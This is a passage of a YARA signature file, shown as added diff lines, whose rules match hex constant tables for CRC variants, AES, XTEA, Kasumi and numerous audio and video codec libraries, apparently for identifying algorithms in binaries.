+rule CRC_10_poly_0x331__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000310362065305c40cf50fa60a97098819b91aea1fdb1c4c157d162e131f101033213072354336d43fe53cb639873a982aa929fa2ccb2f5c266d253e200f232066116542607363e46ad569866cb76fa87f997cca79fb7a6c735d700e753f763055015652536350f459c55a965fa75cb84c894fda4aeb497c404d431e462f4540cc71cf22ca13c984c0b5c3e6c6d7c5c8d5f9d6aad39bd00cd93dda6edf5fdc50ff61fc32f903fa94f3a5f0f6f5c7f6d8e6e9e5bae08be31cea2de97eec4fef60aa51a902ac33afa4a695a5c6a0f7a3e8b3d9b08ab5bbb62cbf1dbc4eb97fba7099419a129f239cb4958596d693e790f880c9839a86ab853c8c0d8f5e8a6f89b19b8098d39de29e7597449417912692398208815b846a87fd8ecc8d9f88ae8ba1a890abc3aef2ad65a454a707a236a129b118b24bb77ab4edbddcbe8fbbbeb891fda0fef3fbc2f855f164f237f706f419e428e77be24ae1dde8ecebbfee8eed81ceb0cde3c8d2cb45c274c127c416c709d738d46bd15ad2cddbfcd8afdd9edef157c0549351a252355b0458575d665e794e484d1b482a4bbd428c41df44ee47e164d0678362b2612568146b476e766d697d587e0b7b3a78ad719c72cf77fe74d131e032b3378234153d243e773b46385928682b3b2e0a2d9d24ac27ff22ce21c102f001a3049207050e340d6708560b491b78182b1d1a1e8d17bc14ef11de12 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xD800000000000000__64_big_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000d8000000000000006800000000000000b000000000000000d0000000000000000800000000000000b80000000000000060000000000000007800000000000000a0000000000000001000000000000000c800000000000000a8000000000000007000000000000000c0000000000000001800000000000000f0000000000000002800000000000000980000000000000040000000000000002000000000000000f8000000000000004800000000000000900000000000000088000000000000005000000000000000e0000000000000003800000000000000580000000000000080000000000000003000000000000000e8000000000000003800000000000000e00000000000000050000000000000008800000000000000e800000000000000300000000000000080000000000000005800000000000000400000000000000098000000000000002800000000000000f00000000000000090000000000000004800000000000000f8000000000000002000000000000000c8000000000000001000000000000000a00000000000000078000000000000001800000000000000c0000000000000007000000000000000a800000000000000b0000000000000006800000000000000d80000000000000000000000000000006000000000000000b8000000000000000800000000000000d0000000000000007000000000000000a8000000000000001800000000000000c000000000000000a0000000000000007800000000000000c80000000000000010000000000000000800000000000000d0000000000000006000000000000000b800000000000000d8000000000000000000000000000000b000000000000000680000000000000080000000000000005800000000000000e8000000000000003000000000000000500000000000000088000000000000003800000000000000e000000000000000f8000000000000002000000000000000900000000000000048000000000000002800000000000000f00000000000000040000000000000009800000000000000480000000000000090000000000000002000000000000000f80000000000000098000000000000004000000000000000f00000000000000028000000000000003000000000000000e80000000000000058000000000000008000000000000000e000000000000000380000000000000088000000000000005000000000000000b8000000000000006000000000000000d00000000000000008000000000000006800000000000000b0000000000000000000000000000000d800000000000000c0000000000000001800000000000000a80000000000000070000000000000001000000000000000c8000000000000007800000000000000a000000000000000e0000000000000003800000000000000880000000000000050000000000000003000000000000000e8000000000000005800000000000000800000000000000098000000000000004000000000000000f0000000000000002800000000000000480000000000000090000000000000002000000000000000f8000000000000001000000000000000c8000000000000007800000000000000a000000000000000c0000000000000001800000000000000a80000000000000070000000000000006800000000000000b0000000000000000000000000000000d800000000000000b8000000000000006000000000000000d0000000000000000800000000000000d8000000000000000000000000000000b00000000000000068000000000000000800000000000000d0000000000000006000000000000000b800000000000000a0000000000000007800000000000000c80000000000000010000000000000007000000000000000a8000000000000001800000000000000c0000000000000002800000000000000f00000000000000040000000000000009800000000000000f800000000000000200000000000000090000000000000004800000000000000500000000000000088000000000000003800000000000000e00000000000000080000000000000005800000000000000e800000000000000300000000000000090000000000000004800000000000000f8000000000000002000000000000000400000000000000098000000000000002800000000000000f000000000000000e8000000000000003000000000000000800000000000000058000000000000003800000000000000e000000000000000500000000000000088000000000000006000000000000000b8000000000000000800000000000000d000000000000000b0000000000000006800000000000000d80000000000000000000000000000001800000000000000c0000000000000007000000000000000a800000000000000c8000000000000001000000000000000a0000000000000007800000000000000a8000000000000007000000000000000c00000000000000018000000000000007800000000000000a0000000000000001000000000000000c800000000000000d0000000000000000800000000000000b80000000000000060000000000000000000000000000000d8000000000000006800000000000000b000000000000000580000000000000080000000000000003000000000000000e80000000000000088000000000000005000000000000000e00000000000000038000000000000002000000000000000f80000000000000048000000000000009000000000000000f000000000000000280000000000000098000000000000004000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0xC96C5795D7870F42__64_big_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000c96c5795d7870f425bb4f8be788911c692d8af2baf0e1e84b769f17cf112238c7e05a6e926952cceecdd09c2899b324a25b15e575e1c3d08a7bfb56c35a3485a6ed3e2f9e2244718fc0b4dd24d2a599c35671a479aad56de10d64410c4b16bd6d9ba1385133664944b62bcaebc387a10820eeb3b6bbf755286133d4dbcc19ff64f7f6ad86b4690b4dda7c5f3c4488e3014cb926613cf8172317acc314dd3bc7af8169ba49a54b3386ace348f355aadbca3a2631ae2dda2fe21ac88218962d7ace8c0dfb45ee5d8ee7a18709ff1ebc66ab374270a266cc92896c5795d7870f4205fa92ec8aff7fb62cd7181e300f9e5e6041dd676d77eeaa4c54a2d0eae0430ae0c267a9b79833fec9efed5b0d68d216857928225010a2e2a7223dc725f161322bb4f8be788911c60299724cc279f02e4e0fb7359f0180da662f598629ba778f4ab99cff74c2077b6394160dce32e6932f02d374934a96670d59c691e6ab55b781cf03e8bbd32543a8e2891a0123c4abe4744c635c5bb45fc4359104312c5af588a3547d6c542a01a18ede8fd6a4cbe9ed181bf68bdcbb1dcf430e13fe3d78cd43d5cb6aa34508396af8419819b5e9d1266e84e144cd99250e4e6a52f2766e7022d8af2baf0e1e840bf525d915feff6c4763e0a048868f986538f5453d674c48e9ae303c601f3cbcc083bacedaefdd548c157fb78797ada0a43f80d888b8f6e1e8a945a1d5c08615c184cf536f3067fd8d120a2a32481709af491fcf47a9d4d923dfdab61ad1a42d0af25044a02145c54664953dfd5935316e447b8e4be2c26442d2bef7169ab2906bff3405ac6a53782769f17cf112238c0532e49984f3e05c89a421e0d98b90a8a089ab12637b7140ec1f6e6b3e0301b4cc5eb30c5374ef1e80c876750e0c9feaa9e5fc87b4fc7e02e57339fee9840ef6c7282c1b9c65cd264bbee962c11dbdd2629363907bed5c3a2e05a6e926952cce0625485a902edb9b2ab38d23cd56ab6f039e07d177a64a874f08c2a82ade3a736d53d74d5f3ff9a3e1c5123402478957c8e898c6b8b768bf847e5dbfe5cf184ba86b22086258b5eb04fde7713f20c51f2dd06d8385d024f76146a8fad8a85403431dbd1fad4997d3cf8b7866f031e727e6a6f2944ac106cfaa3037ed17b9763b8210d95ea102816eae861c27fc7af19a87ab96d5468a1072cb3d53ac1bf26086e96646496e13a35665f08330336bd3a24cdd09c2899b324a004bccbbd4e342be200a11dcb994ac146c9cd4a5e4ecdce045b15e575e1c3d0809279b2e03644dfc2b7c8ecb76858e2ca7ea4bb22bfdfed88ec7c140910d1f30c2510439cc756fc4ea71ea8a7ace9891c6e72ff327b6e865efcaa5019d46098da35c6078c03e79798107759db5dfbaa90d91b0e4e8a7ca5d24bc3a1652572bb5682aff6f0f2f5b41487f01b11171edc3c4e9c4c84c099d37edc44e3af6f97cdfa1528b43ab810c2b83099ea6de60cffb0f9f5bdf8318bf0f26b2d12d39e85ee76a24145464902e134204fae7d22bd9466e923f9e8f53a9b247bfb56c35a3485a0b29701568db38ae297265f01d3afb7ea5e4a08940428b8a8cc92a7bfab26a62c05fef02a7ca1a96e01e3265cabdf43cac88f71c97c584c885a57dee2d356520c933b897704d15d4eb68ad7205acd60467fe680b58d4a6f04ed3e2f9e224471802452780bf5c37ec2a65c93309e7c0b906f30c4a549fb04d2fde86b8ee6f51a5634843c1b317215141135624c6f6e281cd85935d9b8e9275e4a819af217e739da83edcd67c060369842ba361fb91aec928bd6618a6e9de3d0190ecea1c193fd54d06299341614f216f5d3c7634808cf1e3cbf90f69f8fc05cae673fdd3081ded8670b6848e706d19ae50583738cb9a4c82c69d4e65b3eab8abeb17bcdf430b50e77dd2c5823b7ba4c526c720f7dab87449b00259aaa2c880609d88ab105229682c0b4dd24d2a599c0c4a90b5205db73640dc55cc7d25c7c269f1df3ec7d5262a25671a479aad56de073c0fa2ef4c950e8baacadbb234e5faa287402908c40412ee11855055bc74e6c6316be3e30783b3eaa7ae9abe7ff347c38a2468048f12af8f1ce11159f7625bad47f4f42c16a18b21d1318d716ed17f08fcbb7fcb9e3097446a7e0696e640636c40816999c91b2220d64410c4b16bd609fbcee27e418a3e456d0b9b2339faca67361e7e56d8391aeba0db070ba049eec28d51f5b150a8068e1b948cec28d8f2a63b7a3f5a932fa78aadbf4607eb5f53a38035b4bd1bbebbef16f0cde063ce4fcd4de52895820d9f41db2051c8fa7d6b68f6aaa3720a9c8324606fda2f72ec770421b2bd420502dd48b777c41f7d7229619afd36a58d93c12d0c384ff8f5e3350f572daa8d1420e583c1e8d3d06c5011aaec62216a9cb1f9e67aa75837e4c10dce5a49eb815f3658e2cc8c92dc2746accbe1066066d7a7448777c3193bafd7b0a52cd6fc4e4e146029ba13851336649400979977a9c6857c4c015c0ef4bef588601423b973295828cc82e6c02e5128dce5af6c3294a1c934a939a94bc9d9b9c08b62bcaebc387a1007f479d7e1400ae42ed9f3255bb0eb0c624f365c06c89bf84a6fd8efb0736cad66f91d96ed0b1c594fd4976457fbfdb10342521d0a838d45211947f87f624e95ad8f8281221a3e6184a2087398eadf89c834cd0ac592af7de875106da8e541d7a4e3d514f59d31238dce5fe64f6dd0cbc1589a9f1215a03fe3038f7a67f463ef6f954a033a8c131b46b8c0f1807cf2f30a2e0588dd048207220eeb3b6bbf75520e982e4236c705a627b5a4b08c37e44e6b2361c9d14f94ba4978742ca4ae576ac5eeb155f9d6279eecc33ba74326c676a055fede1e5eb6828 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_96_1024__16_lil_82_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c00300034003800400048005000580060006c007800840090009c00ac00bc00d400f000140140018001c001000240028002c002000340038003c0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule power2_table__16_big_30_
+{
+strings:
+	$a0 = { 000100020004000800100020004000800100020004000800100020004000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_sb_noise_attenuation__flt32___32_lil_128_
+{
+strings:
+	$a0 = { 00000000000000009a99993ecdcccc3e0000003f3333333f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_hi_filter__flt64___64_big_72_
+{
+strings:
+	$a0 = { 3f9cbec81f1f569d3faf337f06d1ff47bfb2c912920d9fa9bfda8a4e6236c4ff3fe983b66e336508bfda8a4e6236c4ffbfb2c912920d9fa93faf337f06d1ff473f9cbec81f1f569d }
+
+condition:
+	$a0
+}
+
+	
+rule Kasumi_S7__16_lil_256_
+{
+strings:
+	$a0 = { 360032003e003800160022005e006000260006003f005d00020012007b00210037007100270072001500430041000c002f0049002e001b0019006f007c0051003500090079004f0034003c003a00300065007f00280078006800460047002b0014007a0048003d0017006d000d0064004d0001001000070052000a0069006200750074004c000b0059006a0000007d0076006300560045001e0039007e00570070003300110005005f000e005a0054005b00080023006700200061001c00420066001f001a002d004b00040055005c0025004a005000310044001d0073002c0040006b006c0018006e00530024004e002a0013000f002900580077003b000300 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer2__flt64___64_lil_896_
+{
+strings:
+	$a0 = { 738236397cd2c13fc367ebe0606fd63f50f12cff290ee33f0f357e9f7972eb3f8be07f2bd9f1f13f24360eab2e36f63f4b00fe295522fb3fea91abfd420401403825f85d137db23f93567c43e1b3c73fe010cbe2d5e4d23f7b12d89c8367da3ff1594bbf4c4de13fc67841024ea8e53f63edce5ea6fbe93f61dec23e2a53ee3fd875b9d27c3ff13fe14048163041f33ff65d11fc6f65f53fc8409e5dbeb5f73f717500c45d3dfa3fa648be124809fd3f5e280582a58f004089b48d3f519903409ed7cbfba737a33f0168942efd4bba3f67cfa786e481c43f21cec3094ca7cb3f31244821a06dd13fce1a9ba1e122d53f8ee8bf8376f9d83ff7ae415f7afbdc3fba7aa1c20993e03f5e2c2d9fbcbae23f38bc202235ede43f5914975fdd23e73fae7e8da00854e93f236ac3dd307ceb3f9f7422c154b3ed3f2dde5da1eee7ef3f9692e52494fef03f6d1cb1169f02f23fabb35a608f09f33fea93dc611319f43f9d0df9670631f53f82d0306b1854f63fee5eee93a380f73f732a1900aab8f83fd24895720806fa3f0d1b65fd6662fb3ff25eb532e1d7fc3fc7681d554d90fe3f3016e1815c6d0040b6b9313d61c90140353fa31930dd0340ee06d15ad1060a4096b377465b95bc3f61889cbe9eafd63ff0b2b2bfe48de43fb2698402dfc2ee3f1363997e89b8f43fdf32a7cb62e2f93fb0e2546b61d6ff3fd8bb3fdeab16044005f3ede3bc8dad3fc47aa35698bec53fda8ea9bbb20bd33fdbf95d5cd311dc3f7d15ae818ce4e23fa48e6d9da8fae73fa27f617d2c52ed3f629f008a9165f13f59dc7f643a34f43f9b994f0c7fdcf63f918ce61258aaf93f66dafe9595a6fc3fd63a71395e010040c8cb3f9f6dea01405df8c1f9d431054095d7a5a1a11a15407808e3a7716f9e3f6bfb7f1e685ab63fb94e6549677dc23fae2ea704c424ca3fa3ca51fcef33d13f0f460d222994d53fffaecf9cf529da3fb5a82e649eeade3f86b9512291efe13f820163013c77e43ff0b2b2bfe40de73f5cae5d5ea9bce93fc69506c07075ec3f521808c04736ef3f4568041bd7fff03f55956c2bac6af23f522635b401d8f33f60cd0182393af53f2dcc423ba799f63f4c5299620e02f83f200da7cccd77f93fb8c9a8328cfbfa3f2db308c55690fc3f01dbc1887d42fe3f35102620810a00408a90ba9d7d050140c333fc02d52a024025b1a4dc7dce03407ff1b16087c60540e275fd82ddd00840365ce49eaebe12408f1260fd44ea1840 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_codebook__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f1221d93f32556d3f5021083f694b383f7c22683f88b0c03f98e8b03faf4cdb }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__cbp_tab__8_byt_128_
+{
+strings:
+	$a0 = { 3f000f0f1f3f2f1f00100e200d2f0b0d070e050b0a0c08050c0a3d0704303703010202083b0403013e3d0937063b1d3e2d1d331b171727131b1e2e1c35091e062b3c25153c2c101a15331c23131223142a181a352c1120253a27182d143a112b122a302e16242121192231282834243122323238341936162936383926293926 }
+
+condition:
+	$a0
+}
+
+	
+rule AC3_starting_frequency_coeeficients_bndtab__avcodec___liba52___8_byt_30_
+{
+strings:
+	$a0 = { 15161718191a1b1c1f2225282b2e31373d43494f55616d79859db5cde5fd }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS1__16_lil_512_
+{
+strings:
+	$a0 = { 0012004a002600c800d2006200ce00e7002e00c300fb007c00650048008f00b80076003d00a5008e0086005700bd00bc001f00ef000c00e00078007100110075009500d9009b009e00b900a400f70002007f00800083007e00be005600960073009f0088002a00140089009a00f900dc0032006d00de006a0084007200d8008a00d700e30008004e001e00b3005d005000d600eb00b1000d00cf00ad00c6000e007d00a000dd009c0041001c00cd001a00380034005b00230003008c006800460053000400a9002700ac00e6001b00fc002f00a3000b002800e4000f00da00d400c400d50094008b0090006b009d00f800ae0063007a000700e200ea00c500db0098001500c1000a00a200c200300044005a00f1003a006e00a800c90055004d0020006f00f2003500590019007700bb0092006c002c00450066004200f30039002900c000e8004f00e500c700b000e1008d00f600000001007b00d100cb005200fd00cc0058003f00ee00b200ff004000aa004b007400b40060005f0099002b009100df00f400470021003b0033009300af00d30016005e00360043004900a600d0000600b600700081008200a100fa00970085007900b700ba003c001000b500ab001300a7006400e900090054002500370067001d00fe00f50069002d0031002200f00018003e00610017005100ec000500ca00ed005c008700bf004c0024 }
+
+condition:
+	$a0
+}
+
+	
+rule RNG__32_lil_AND_
+{
+strings:
+	$a0 = { ffffff7f[0-20]1df30100 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td0__0x51f4a750U___32_big_1024_
+{
+strings:
+	$a0 = { 51f4a7507e4165531a17a4c33a275e963bab6bcb1f9d45f1acfa58ab4be303932030fa55ad766df688cc7691f5024c254fe5d7fcc52acbd726354480b562a38fdeb15a4925ba1b6745ea0e985dfec0e1c32f7502814cf0128d4697a36bd3f9c6038f5fe715929c95bf6d7aeb955259dad4be832d587421d349e069298ec9c84475c2896af48e797899583e6b27b971ddbee14fb6f088ad17c920ac667dce3ab463df4a18e51a31829751336062537f45b16477e0bb6bae84fe81a01cf9082b94704868588f45fd1994de6c87527bf8b7ab73d323724b02e2e31f8f576655ab2ab2eb28072fb5c20386c57b9ad33708a5302887f223bfa5b202036abaed16825c8acf1c2ba779b492f307f2f04e69e2a165daf4cd0605bed5d134621fc4a6fe8a342e539da2f355a0058ae132a4f6eb750b83ec394060efaa5e719f06bd6e10513e218af996dd063ddd3e05ae4de6bd4691548db571c45d050406d46f605015ff1998fb24d6bde997894043cc67d99e77b0e842bd07898b88e7195b3879c8eedba17c0a477c420fe9f8841ec90000000009808683322bed481e1170ac6c5a724efd0efffb0f8538563daed51e362d39270a0fd964685ca6219b5b54d124362e3a0c0a67b19357e70fb4ee96d21b9b919e80c0c54f61dc20a25a774b691c121a16e293ba0ac0a02ae53c22e043121b171d0e090d0bf28bc7ad2db6a8b9141ea9c857f11985af75074cee99ddbba37f60fdf701269f5c72f5bc44663bc55bfb7e348b432976cb23c6dcb6edfc68b8e4f163d731dcca426385101397224084c61120854a247dd2bb3df8aef93211c729a16d1d9e2f4bdcb230f30d8652ec77c1e3d02bb3166ca970b999119448fa47e96422a8fc8cc4a0f03f1a567d2cd8223390ef87494ec7d938d1c18ccaa2fe98d40b36a6f581cfa57ade28dab78e263fadbfa42c3a9de45078920d6a5fcc9b547e4662f68d13c290d8b8e82e39f75e82c3aff59f5d80be69d0937c6fd52da9cf2512b3c8ac993b10187da7e89c636edb3bbb7bcd2678096e5918f4ec9ab701834f9aa8e6956e65aaffe67e21bccf08ef15e8e6bae79bd94a6f36ceea9f09d429b07cd631a4b2af2a3f2331c6a5943035a266c0744ebc37fc82caa6e090d0b033a7d815f104984a41ecdaf77fcd500e1791f62f764dd68d43efb04dccaa4d54e49604df9ed1b5e34c6a881bc12c1fb84665517f9d5eea04018c355dfa877473fb0b412eb3671d5a92dbd252e91056336dd647139ad7618c37a10c7a59f8148eeb133c89cea927eeb761c935e11ce5ed7a47b13c9cd2df5955f2733f1814ce7973c737bf53f7cdea5ffdaa5bdf3d6f147844db86caaff381b968c43e3824342cc2a3405f161dc372bce2250c283c498bff0d954139a80171080cb3ded8b4e49c6456c1907bcb8461d532b670486c5c74d0b85742 }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_login_encryption_algorithm__16_lil_444_
+{
+strings:
+	$a0 = { 680005000700008002000500050007000e0005000b0007000080030000803d00d700008000800a000600090000800080008000800080250000800500040008001300080003001a0007001400050002000500010005000200020011000f000a0005000080020002000a008d020080080007000900008000800080020025000080c900008000802902c902050000800b0049005d0005000900008000800600020000800080008002000c0001000b006e006a000080008004000200490000803100050009000f000d0001000400008015000080008003000900130003000e0000801c000080050002000080230010001100008009000080020000800d00020000803e00008002002700450002000080008042000080008000800b000080008000801300410000806300008009000080020000801a000080020135013300008000800300090009000900950000800080040000800080050000800080008000800d00008000800080008000804000090000800080030006000900030000800080008024000080008000800600cb000100310002000600060007000080010000804e000080020019000080008000800080008000800c010080008009000080 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0x80f__16_big_refl_False_
+{
+strings:
+	$a0 = { 0000080f101e1811203c28333022382d40784877506658696044684b705a785580f088ff90ee98e1a0cca8c3b0d2b8ddc088c887d096d899e0b4e8bbf0aaf8a509ef01e019f111fe29d321dc39cd31c2499741985989518669ab61a479b571ba891f81109901910ea923a12cb93db132c967c168d979d176e95be154f945f14a13de1bd103c00bcf33e23bed23fc2bf353a65ba943b84bb7739a7b9563846b8b932e9b2183308b3fb312bb1da30cab03d356db59c348cb47f36afb65e374eb7b1a31123e0a2f02203a0d32022a13221c5a4952464a5742587a75727a6a6b62649ac192ce8adf82d0bafdb2f2aae3a2ecdab9d2b6caa7c2a8fa85f28aea9be29427bc2fb337a23fad07800f8f179e1f9167c46fcb77da7fd547f84ff757e65fe9a74caf43b752bf5d87708f7f976e9f61e734ef3bf72aff25c708cf07d716df192e53265c3e4d36420e6f06601e71167e6e2b66247e35763a4e1746185e095606aea3a6acbebdb6b28e9f86909e81968eeedbe6d4fec5f6cacee7c6e8def9d6f634623c6d247c2c73145e1c5104400c4f741a7c1564046c0b54265c2944384c37b492bc9da48cac8394ae9ca184b08cbff4eafce5e4f4ecfbd4d6dcd9c4c8ccc73d8d35822d93259c1db115be0daf05a07df575fa6deb65e45dc955c64dd745d8bd7db572ad63a56c9d41954e8d5f8550fd05f50aed1be514dd39d536cd27c528 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms__flt32___32_big_148_
+{
+strings:
+	$a0 = { 3f8000003fc000004030000040ac0000412ae14841aab852422aae1442aaa8f6432ab33343aaa6663f84dd2f3fcbc6a8403ad0e540b67efa413547ae41b51eb84235000042b4f5c34334e6663f84dd2f3fcbc6a8403ad0e540b67efa413547ae41b51eb84235000042b4f5c34334e6663f37f62b3f6bfb163fcb020c4042c08340c09ba6414028f641c00000423fe14842bfdc29 }
+
+condition:
+	$a0
+}
+
+	
+rule XTEA__DELTAS__32_lil_256_
+{
+strings:
+	$a0 = { 00000000b979379eb979379e72f36e3c72f36e3c2b6da6da2b6da6dae4e6dd78e4e6dd789d6015179d60151756da4cb556da4cb50f5484530f548453c8cdbbf1c8cdbbf18147f38f8147f38f3ac12a2e3ac12a2ef33a62ccf33a62ccacb4996aacb4996a652ed108652ed1081ea808a71ea808a7d7214045d7214045909b77e3909b77e34915af814915af81028fe61f028fe61fbb081ebebb081ebe7482555c7482555c2dfc8cfa2dfc8cfae675c498e675c4989feffb369feffb36586933d5586933d511e36a7311e36a73ca5ca211ca5ca21183d6d9af83d6d9af3c50114e3c50114ef5c948ecf5c948ecae43808aae43808a67bdb72867bdb7282037efc6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_gain_window__flt64___64_big_304_
+{
+strings:
+	$a0 = { 3fe02eb1bfe7475e3fe0c63f1fe1adec3fe1638860364b973fe2068dc03eec463fe2afbfffc604983fe35f00002af31e3fe4147fffc82a593fe4d0c0002481d93fe593ffffdda3e83fe65e40000671443fe72fbfffc604983fe8093fffca501b3fe8ea7fffd958653fe9d3ffffdda3e83feac60000112e0c3febc0ffffd50ce23fecc53fffecac333fedd300000897063feec47fffc82a593fef72bfffce9b9e3fefdc3fffd2e7213ff00000000000003fefddc0001bead33fef760000112e0c3feec93fffca501b3fedd93fffca501b3feca8000044b8303feb38000044b8303fe98c80000ce2893fe7a9000019c5123fe5920000338a243fe34bbfffe860b03fe0db3ffffdda3f3fdc8b7fffae65473fd72280001e10953fd18680008524dc3fc788ffff9054b33fb7a3fffff920c8 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab9__16_big_142_
+{
+strings:
+	$a0 = { FFC1FFCBFFD7FFE3FFEDFFF5FFFBFFFDFFFF005500450035FFFF0053FFFF00540005FFFDFFFF00440025FFFF00520015FFFDFFFF00510034FFFF0043FFFF00500004FFF9FFFDFFFF00240042FFFF00330040FFFF00140041FFFBFFFDFFFF002300320013FFFF0031FFFF00030030FFFBFFFDFFFF002200020012FFFF00210020FFFDFFFF00110001FFFF00100000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_msmpeg4_table1_mv_code__16_big_2200_
+{
+strings:
+	$a0 = { 000000070009000f000a0011001a001c001100310025002d002f006f00750041004c004e005c00600062006600680069006b00a600c100cb00cc00ce00da00e800ee00870090009e009f00ba00ca00d800db00df01040109010c01430145014a0156015c01b301d301da01030109010b0122012701340161016401760184018d018e018f019001930196019d019e019f01a901b201b401ba01bb01bc0201020202050207020d021002110215021b021f028102850290029c029d02a202a702a802aa02b002b102b402bc02bf0320032603270329032a0336036003620363037203b203bc03bd02030205021a0249024a024c02c702ca02ce02ef030d0322032503380373037a04090415041604180428042d042f04340508050905100511051c051e05240541054305460547054d0557055f056a056c056d056f05760577057a057b057c057d060006010603061406160617061c061f064206480649064a064b065706680669066b066e067f06c206c806cb06de06df06e206e306ef0748074b076e076f077c0409042304280429042a042b043204330496049a04d504db05810582058b058c058d05980599059a059e05dd0619063206330648067206a106a206a306af06e206e306e40800080108020803081a081b0829082f0832083e083f085208530858086b087708780879087a087b0a000a010a0d0a0e0a0f0a240a370a3a0a3b0a3e0a460a470a4a0a4b0a5f0a790a7a0a7b0a800a810a840a850a990aa50aa60ab80aba0abb0abc0abd0ac80ace0acf0ad70adc0aeb0c040c250c260c270c2a0c2b0c3a0c3b0c3c0c3d0ca00cad0cd40cd50cfc0cfd0d860d920d930d940d950db00db80db90dba0dbb0dc00dc20dc30dda0ddb0ddc0ddd0e920e930e940e950ec70ecc0ece0ecf0ed80ed90eda0edb08080809080a0810081108440845086108620863086c09220923092e092f0936093709b109b209b309b409b509b809b909ba09bb09bc09bd09be09bf0b000b150b2c0b2d0b2e0b2f0b360bb90c280c2a0c2b0c2c0c2d0c2e0c2f0c300c310c380c600c610c620c630c8d0c8e0c8f0c920cbe0cbf0ce60ce70d400d410d570d580d590d5a0d5b0d5c0d5d0d980d990d9a0d9b0d9c0d9d0dad0dae0daf0dc00dc10dc20dc30dca0dcb0dec0ded0dee0def101810221023103010311032103310501051105c107410751076107710781079107a107b10b210b310b810b910ba10bb10d410ea10eb10ec10ed140414051406140714101411141214131414141514161417141814191466146714681469146a146b146c146d147e147f14881489148a148b14b614b714b814b914ba14bb14bc14bd14f014f114f814f914fa14fb14fc14fd14fe14ff152a152b152c152d152e152f1530153115481549154e154f15581559155a155b1572159a159b15ac15ba15bb15d015d115d215d315d415d5181d181e181f1840184118421843184418451846184718481849186118621863186418651866186718681869186a186b186c186d186e191b191c191d191e191f1942194319441945194619471958195919ed19ee19ef19f019f119f219f319f419f519f619f71b0e1b0f1b621b631b641b651b661b671b681b691b6a1b6b1b6c1b6d1b6e1b6f1b821ba81ba91baa1bab1bac1bad1bae1baf1bb01bb11bb21bb31d801d811d821d831d841d851d861d871d881d891d8a1d8b1d8c1d8d100710081009100a100b100c100d100e100f10161080108110821083108410851086108710c0123a123b123c123d123e123f124012411242124313501352135313581359135a135b135c135d135e135f1360136116021603160c160d160e160f1620162116221623162416251626162716281629166e166f167c167d167e167f177017711852185318721873187418751876187718781879187a187b187c187d187e187f19181919192619271970197119721973197419751976197719781979197a197b1aa01aa11aa21aa31aa41aa51aa61aa71aa81aa91aaa1aab1aac1aad1b3c1b3d1b3e1b3f1b501b511b521b531b541b551b561b571b581b5920322033203420352036203720382039203a203b203c203d203e203f204020412042204320ba20bb20cc20cd20ce20cf20e020e120e220e320e420e520e620e721aa21ab21c021c121c221c321c421c521c621c721c821c921ca21cb21cc21cd21ce21cf21d021d121d221d3289428952896289728982899289a289b289c289d289e289f28c028c128c228c328c428c528c628c728c828c928ca28cb2930293129322933293429352936293729382939293a293b293c293d293e293f2960296129622963296429652966296729682969296a296b2a402a412a422a432a442a452a462a472a482a492a4a2a4b2a4c2a4d2a4e2a4f2a502a512a522a532ae62ae72b242b252b262b272b282b292b2a2b2b2b2c2b2d2b2e2b2f2b302b312b322b332b5a2b5b30143015301630173020302130223023302430253026302730283029302a302b302c302d302e302f303030313032303330343035303630373038303930c030c130de30df32183219321a321b321c321d321e321f3220322132223223322432253226322732283229322a322b322c322d322e322f32303231323232333234323533783379337a337b337c337d337e337f33c033c133c233c333c433c533c633c733c833c933ca33cb33cc33cd33ce33cf33d033d133d233d333d433d533d633d733d833d9370637073730373137323733373437353736373737383739373a373b373c373d373e373f3740374137423743374437453746374737483749374a374b374c374d374e374f3b343b353b363b373be83be93bea3beb3bec3bed3bee3bef3bf03bf13bf23bf33bf43bf53bf63bf73bf83bf93bfa3bfb3bfc3bfd3bfe3bff2000200120022003200420052006200720082009200a200b200c200d202e202f2182218321b421b521b621b721b821b921ba21bb21bc21bd21be21bf2460246124622463246424652466246724682469246a246b246c246d246e246f247024712472247326a226a3000b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h263_inter_vlc__16_lil_412_
+{
+strings:
+	$a0 = { 020002000f00040015000600170007001f000800250009002400090021000a0020000a0007000b0006000b0020000b0006000300140006001e0008000f000a0021000b0050000c000e0004001d0008000e000a0051000c000d000500230009000d000a000c0005002200090052000c000b0005000c000a0053000c00130006000b000a0054000c00120006000a000a001100060009000a001000060008000a001600070055000c0015000700140007001c0008001b00080021000900200009001f0009001e0009001d0009001c0009001b0009001a00090022000b0023000b0056000c0057000c00070004001900090005000b000f00060004000b000e0006000d0006000c000600130007001200070011000700100007001a00080019000800180008001700080016000800150008001400080013000800180009001700090016000900150009001400090013000900120009001100090007000a0006000a0005000a0004000a0024000b0025000b0026000b0027000b0058000c0059000c005a000c005b000c005c000c005d000c005e000c005f000c0003000700 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_exp2a__16_lil_64_
+{
+strings:
